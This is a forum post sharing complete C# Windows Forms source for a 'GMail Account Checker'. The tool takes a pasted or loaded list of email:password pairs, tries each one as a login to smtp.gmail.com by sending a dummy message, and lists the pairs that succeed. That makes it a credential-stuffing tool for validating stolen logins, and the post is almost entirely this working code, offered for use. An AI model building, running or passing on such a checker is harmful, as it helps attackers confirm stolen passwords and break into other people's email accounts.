Jump to content
Nytro

[C#] GMail Account Checker

Recommended Posts

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
using System.Collections;
using System.IO;

namespace GMailCheck
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)
{
try
{
if(textBox1.Text == "") MessageBox.Show("list is empty");

ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines
for (int i = 0; i < mails.Count; i++)
{
ArrayList mailInfo = new ArrayList(mails[i].ToString().Split(':'));
if (!mailInfo[0].ToString().EndsWith("@gmail.com")) mailInfo[0] = mailInfo[0] + "@gmail.com";

if (checkAccount(mailInfo[0].ToString(), mailInfo[1].ToString()))
{
textBox2.Text += mailInfo[0].ToString() + ":" + mailInfo[1].ToString() + "\r\n";
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}

static bool checkAccount(string username, string password)
{
//we use fake emails so nobody recieves the email, if you want a email when
//the correct login is found, supply your email address
MailMessage msg = new MailMessage();
msg.From = new MailAddress("Wefwqefwef@sdfsddf.com");//fake email
msg.To.Add("Asfasdf@ssdfs.com");//fake email
msg.Subject = "test";
msg.Body = "test";

SmtpClient smtp = new SmtpClient("smtp.gmail.com");
smtp.Credentials = new NetworkCredential(username, password);
smtp.EnableSsl = true;

try
{
smtp.Send(msg);
return true;
} catch(Exception ex)
{
return false;
}
}

private void button2_Click(object sender, EventArgs e)
{
try
{
openFileDialog1.ShowDialog();
StreamReader read = new StreamReader(openFileDialog1.FileName);
while (!read.EndOfStream)
{
textBox1.Text += read.ReadLine() + "\r\n";
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
}

Credits: sunjester

Edited by Nytro
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...